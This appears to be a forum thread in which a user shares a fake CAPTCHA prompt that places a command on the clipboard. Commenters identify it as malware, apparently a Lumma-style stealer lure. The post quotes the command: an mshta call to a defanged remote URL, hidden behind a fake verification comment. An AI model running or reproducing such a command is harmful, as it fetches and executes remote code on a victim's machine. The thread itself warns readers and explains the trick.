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The text it wants me to run is the following:
mshta https://check/[dot]dasoc[dot]icu/gkcxv[dot]google?i=888x8x8x-x8xx-8888-xxx8-a00888888a1ab # Humаn, nоt а rоbоt: CAPTCHА Vеrіfісаtіоn ID: 552163''
Looks like the site got hacked and wants be run malware, but I've never seen something like this before.
I saw a post on this like 6 months ago. It was called a lumma stealer
It's bad that this scam is running of course but, I have to say this particular scam has almost a nostalgic quality to it. It reminds me of the type of trickery that old school malware back in the day used to rely on to get on to people's computers. It's kind of quaint how unsophisticated it is and how much active work it requires of the victim to successfully infect them.
DO NOT FOLLOW THESE PROMPTS. This is a malicious prompt. It places malicious content in your clipboard, and requesting that you paste it into command prompt or powershell, which will infect you.
I know, but I like having the hackers on my computer, I just like the Idea that someone is paying attention to me and likes the same thing I do.
You're making the local FBI field office jealous. Lol
The "This is either phishing or a prank, in either case, fucking don't" type Captcha
Which website gave you those instructions? Name and shame.
That looks like the site got hacked and wants you to run malware.
Also, you might want to edit the link to change the .s in the URL to [dot] so it doesn't linkify a likely malware link for other users.
I figured. That's why I didn't run it.
Not sure if you saw my edit since it was after you replied, but you might want to edit the post to change the .'s in the URL to [dot] so it doesn't linkify a likely malware link for other users.
Done. I also changed the numbers before, but then I didn't verify that I broke the link.
Probably just an identifier for tracking who ran it.
Nope it is definately malware. It put a command in your clipboard since websites can do this, and then asks you to open a command window to run the command. This command can easily cause you to get and remotely execute an executable. Because this is so obviously dangerous no legit site would ask you to do this.
I was referring to the ?i=number part, just like google uses si for YouTube.
Lol this looks lile an April Fools prank.
Ctrl + V is paste, and most browsers do not require permission for the website to copy something into your clipboard (as opposed to pasting from your clipboard).
So a paste would just input code for your OS to run. Sus. Its obviously either malware or a prank.
Lmao yeah, I thought "haha funny joke" but people were genuinely asking
For future reference, never run any script or code or command unless you know what it is and does
Definitely malware, as everyone has already said.
DONT DO IT. Hahahhahah
Nice trick to feed your computer with a virus.
A dangerous one for sure...
It checks if you're both human AND not a bumbling tumbleweed.
Highly sophisticated Darwinian CAPTCHA
“A way out west there was this fella, fella I want to tell you about, fella by the name of Jeff Lebowski. At least, that was the handle his lovin' parents gave him, but he never had much use for it himself. This Lebowski, he called himself the Dude. Now, Dude, that's a name no one would self-apply where I come from. But then, there was a lot about the Dude that didn't make a whole lot of sense to me. And a lot about where he lived, like-wise. But then again, maybe that's why I found the place s'durned innarestin'.”
That's definitely trying to hack you.
From the instructions, I would say they are trying to convince them to hack themselves (and yes, I know, that's how 95% of hacking works... But is that only me, or this one is so obvious that it hurts?)
It's not only you, but it definitely would fly over the heads of 95% of my co-workers.
It's called the 'John Hammond attack'. Even though it existed before he added his 2 cents, what you see in your image is his addition.
Watch his video to see him explain it.
before he added his 2 cents
He spared no expense, huh.
Well, if it was a Richard Hammond attack, it would probably crash itself.
Hopefully a Rick roll
Yeah, doesn't mshta run JavaScript locally on Windows? This looks like a way to force you to run their script
I hope that URL isn't the real one, you don't want anyone trying it just to see what would happen
Possibly.
BTW, certain malware may be able to break out of a VM.
On the other, some malware may recognize that it is being run in a VM and do absolutely nothing to avoid analysis.
Yea good thing you didn’t. MSHTA is the app that lets you run Microsoft HTML Apps (usually used for their help articles). Those can contain JavaScript or VBScript code. And since you’re pasting it in a Run box it’ll happily execute it, even if it’s a remote source.
Generally it would only run as your user (you’re not admin are you?), which would still be enough to make your life miserable, but it could also try to run known exploits and raise itself to admin and own your whole computer.
Why wouldn't a windows user be running as admin lol its windows. That said most of what you value is already in your user account anyway and privilege escalations are hardly unknown as well.
Meanwhile me on linux be like :
It absolutely is malware. The Text you see is a comment appended to the end of a command that'll download malicious software. The comment is placed in such a way that the command is out of frame.
Jokes on them, I use Linux. Wtf is that symbol next the to R?
Windows key. The graphic itself is what they used from windows 8-10.
Super key in Linux, command key in macOS.
Sorry it was a joke
Some people still might not know.
Probably Mac users, but I hope I make someone one of today's lucky 10,000.
It's on some keyboards and opens the start menu on windows. It can, of course, also be used on Linux, because it's just a key on a keyboard. For example, in Gnome it opens the overview per default (where you see all the windows as small tiles and can use the app search).